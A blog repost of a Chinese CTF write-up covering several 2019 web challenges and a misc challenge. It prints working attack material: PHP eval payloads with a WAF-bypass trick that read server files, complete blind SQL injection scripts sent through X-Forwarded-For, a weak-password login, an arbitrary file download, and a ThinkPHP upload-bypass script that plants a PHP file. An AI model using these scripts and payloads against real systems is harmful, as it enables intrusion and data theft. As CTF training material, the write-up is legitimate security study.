嘶吼CTF2019總結(Web部分題目復現以及部分雜項)


easy calc

這次的比賽自己一題都沒有做出來,賽后看題解的時候很難受,其實有很多東西自己其實是可以做出來的,但是思路被限制了,可能這就是菜吧。

首先web題目就是一個easy calc,emmmmmmm。想一想當初De1CTF2019的那道計算器。腦子頭大.但是這一題是沒有那么難。

  • 首先打開網頁是一個簡單的提交頁面。

這里面是提交到calc.php這個文件中,這里面有一個坑,就是要想看到源碼,必須要不提交數據(但是我就沒有看出這一點導致后面的路越來越難走,以至放棄)。

  • 獲取源碼

    我們去掉num提交試試

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

我.......

這個規則其實很好繞的,他過濾了空格 制表符 \r \n 單雙引號 反單引號 [ ] 還有$和 \ 和 ^,然后直接拼進了eval里面。
但是我們可以利用eval執行多條語句,簡單的pyload?num=1;phpinfo()就可以執行了。沒有單雙引號,我們可以利用chr(xx).chr(xx) 來構造字符串。

  • fuzz測試

    但是並沒有這么簡單,我們發現當提交不合格的數據的時候,服務器會返回一個錯誤。

這個很可能是因為有waf設備在保護着(IPS/IDS等等),這里面利用了php的特性來進行繞過。

原理

當我們提交?%20num=1;xxx的時候。防護設備檢測的是num。不是%20num。但是傳入php的時候,php又會將前面的空格去掉。因此可以繞過waf檢測。

  • payload
執行phpinfo()
?%20num=1;phpinfo()
列舉根目錄
?%20num=1;print_r(scandir(chr(47))) //47是"/"的ascii值
發現flag文件f1agg
讀取
?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))[readme](media/15713976592966/readme.md)

后記

還看到有人用http請求走私做的,我太菜了,沒有復現成功。

很可惜,沒有做出來,失望也好,后悔也罷,記住這次的教訓就行了。

Online Proxy(最可惜的一道題)

現在想一想還很難受,這道題原本就快做出來了,但是。。。。

  • 此題雖然說是Online Proxy,並且題目內容也給人一種是ssrf的假象,但是這道題是一個sql注入題,還是xff的注入!!

注入的原理:

查看源碼的時候,會發現有一個current和last_ip,這里面是sql注入的。

說實話這個sql注入的原理是有點繞的,我表達能力不好,這里面就希望各位去嘗試了,這里面是單引號的注入,沒有任何過濾,需要查看前后兩次的回顯進行比較。

這里面直接給個腳本。

import requests
import re
import os
flag=""
url="http://node3.buuoj.cn:28540/"
for test in range(1,100) :
    low=0
    high=128
    while low<=high:
        mid=(low+high)//2
        header={"X-Forwarded-For":"0' or (ascii(substr((select  group_concat(schema_name) from information_schema.schemata ),{},1))>{}) or '0".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
        Mikasa=requests.get(url,headers=header)
        header={"X-Forwarded-For":"0' or (ascii(substr((select  group_concat(schema_name) from information_schema.schemata ),{},1))>{}) or '00".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
        Mikasa=requests.get(url,headers=header)
        Mikasa=requests.get(url,headers=header)
        if "Last Ip: 1" in Mikasa.text :
            low=mid+1
        else :
            high=mid-1
    flag+=chr(int(low+high+1)//2)
    print(flag)

注入表名

import requests
import re
import os
flag=""
url="http://node3.buuoj.cn:28540/"
for test in range(1,100) :
    low=0
    high=128
    while low<=high:
        mid=(low+high)//2
        header={"X-Forwarded-For":"0' or (ascii(substr((select  group_concat(table_name) from information_schema.tables where table_schema=0x46346c395f4434743442343565 ),{},1))>{}) or '0".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
        Mikasa=requests.get(url,headers=header)
        header={"X-Forwarded-For":"0' or (ascii(substr((select  group_concat(table_name) from information_schema.tables where table_schema=0x46346c395f4434743442343565),{},1))>{}) or '00".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
        Mikasa=requests.get(url,headers=header)
        Mikasa=requests.get(url,headers=header)
        if "Last Ip: 1" in Mikasa.text :
            low=mid+1
        else :
            high=mid-1
    flag+=chr(int(low+high+1)//2)
    print(flag)

注入字段名

import requests
import re
import os
flag=""
url="http://node3.buuoj.cn:28540/"
for test in range(1,100) :
    low=0
    high=128
    while low<=high:
        mid=(low+high)//2
        header={"X-Forwarded-For":"0' or (ascii(substr((select  group_concat(column_name) from information_schema.columns where table_schema=0x46346c395f4434743442343565 and table_name=0x46346c395f7434623165),{},1))>{}) or '0".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
        Mikasa=requests.get(url,headers=header)
        header={"X-Forwarded-For":"0' or (ascii(substr((select  group_concat(column_name) from information_schema.columns where table_schema=0x46346c395f4434743442343565 and table_name=0x46346c395f7434623165),{},1))>{}) or '00".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
        Mikasa=requests.get(url,headers=header)
        Mikasa=requests.get(url,headers=header)
        if "Last Ip: 1" in Mikasa.text :
            low=mid+1
        else :
            high=mid-1
    flag+=chr(int(low+high+1)//2)
    print(flag)

出flag了QAQ

import requests
import re
import os
flag=""
url="http://node3.buuoj.cn:28540/"
for test in range(1,100) :
    low=0
    high=128
    while low<=high:
        mid=(low+high)//2
        header={"X-Forwarded-For":"0' or (ascii(substr((select  group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '0".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
        Mikasa=requests.get(url,headers=header)
        header={"X-Forwarded-For":"0' or (ascii(substr((select  group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '00".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
        Mikasa=requests.get(url,headers=header)
        Mikasa=requests.get(url,headers=header)
        if "Last Ip: 1" in Mikasa.text :
            low=mid+1
        else :
            high=mid-1
    flag+=chr(int(low+high+1)//2)
    print(flag)

Easy Java

這一題確實有點坑,還有點腦洞。。

  • 弱口令
    首先這個登錄框其實是一個弱口令admin::admin888

但是登錄之后並沒有什么有用的信息。

只有一張圖片

  • 任意文件下載

回到登錄框發現有幫助,是一個任意文件下載,但是並非是get型的(這是一個坑)。

修改為POST型之后,先下載/WEB-INF/web.xml文件看一下結構..

之后發現存在flag控制器

下載/WEB-INF/classes/com/wm/ctf/FlagController.class獲取flag

后記:一般對於java的web工程,.class文件都是放在/WEB-INF下的classes文件下面。

simple upload

這道題目用的是thinkphp來寫的,但是自己沒有怎么學過thinkphp,難受。

以下是源代碼。

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);//顯示源碼
    }
    public function upload()//
    {
        $uploadFile = $_FILES['file'];
        
        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }
        
        $upload = new \Think\Upload();// 實例化上傳類,未加參數會導致所有的文件都會上傳(即整個文件數組都會上傳)
        $upload->maxSize  = 4096 ;// 設置附件上傳大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 設置附件上傳類型
        $upload->rootPath = './Public/Uploads/';// 設置附件上傳目錄
        $upload->savePath = '';// 設置附件上傳子目錄
        $info = $upload->upload() ;
        if(!$info) {// 上傳錯誤提示錯誤信息
          $this->error($upload->getError());
          return;
        }else{// 上傳成功 獲取上傳文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
}

看一下規則吧,這里面來說吧,這里面實例化upload上傳類的時候會發現沒有加入任何的參數,如果沒有加任何的參數會導致文件數組里面的東西都會被上傳進去。

並且這里面只判斷了$_FILES['file']的后綴,另外
\$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 設置附件上傳類型
這個是有問題的,在upload類里面限定后綴的是\$upload->exts()

所以我們上傳的時候就可以上傳文件數組繞過,並且上傳的默認命名規則是
array('uniqid',''),所以上傳后的文件名很相近,我們爆破后三位就行了。

腳本

# -*- coding: utf-8 -*-
import requests
import os
import re
url="http://6c3b26e6-55f3-45b7-a09f-3b847a1d362a.node3.buuoj.cn/index.php?s=Home/index/upload"
file={"file":open("./1.txt","r"),"file233":open("1.php","r")}
proxies={"http":"http://127.0.0.1:8080"}
Mikasa=requests.post(url,files=file)
print(Mikasa.text)
result=Mikasa.text.split("/")[-1].split(".")[0]#上傳后的文件名
Sabre=int(result,16)


while 1 :
    Sabre=Sabre+1
    os=requests.session()
    Saber_test=str(hex(Sabre)).split("0x")[1]
    url_test="http://6c3b26e6-55f3-45b7-a09f-3b847a1d362a.node3.buuoj.cn/Public/Uploads/2019-10-22/{}.php".format(Saber_test)
    print(url_test)
    try :
        oss=os.get(url_test,timeout=1)
    except :
        pass
    #print(oss.text)
    if oss.status_code !=404 :
        print(url_test)
        exit()
        break

dict

Go語言的題目,太菜了,不會。

黃金6年(雜項)

涉及的Linux的命令(當然也可以用win上的工具)
strings
base64
hexdump

首先使用strings查看一下基礎的信息。

strings 黃金6年

在末尾發現有base64的密文。

UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==

base64解密一下

echo "UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==" | base64 -D

還是很模糊那就用16進制加上ascii看一看吧。

echo "UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==" | base64 -D | hexdump -C

可以看出這是個rar文件,還是有密碼的,密碼應該就藏在視頻里面。

PS:密碼就是視頻里面,是四個二維碼,需要逐幀觀看(最后一個藏的真深)

tankgame(這是個逆向題目吧)

其他的都太難了,撤了撤了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM